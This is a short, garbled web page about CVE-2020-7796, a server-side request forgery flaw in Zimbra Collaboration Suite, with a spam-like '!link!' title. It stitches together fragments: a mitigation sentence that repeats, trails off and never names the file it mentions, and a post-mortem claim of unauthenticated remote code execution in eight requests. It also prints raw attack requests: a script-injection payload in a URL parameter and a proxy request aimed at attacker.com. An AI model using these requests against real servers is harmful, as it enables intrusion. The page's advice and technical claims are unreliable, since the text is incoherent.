Collaboration Suite Full !link! - Cve20207796 Zimbra
If patching cannot be executed immediately, administrators can remove the specific exposed file manually to stop the exploit vector:
GET /service/home/~/?auth=co&fmt=riched&user=INBOX%22%3E%3Cscript%3E POST /service/proxy?target=https://attacker.com/ Abnormal Calendar invite with HTML payload in DESCRIPTION field cve20207796 zimbra collaboration suite full
The post-mortem revealed: wasn't just an SSRF. It was a master key. Combined with the default Zimbra architecture (Admin on 7071, Mailbox on 8080, ProxyServlet on 80/443), an unauthenticated remote attacker could chain it into full RCE in 8 HTTP requests. If patching cannot be executed immediately
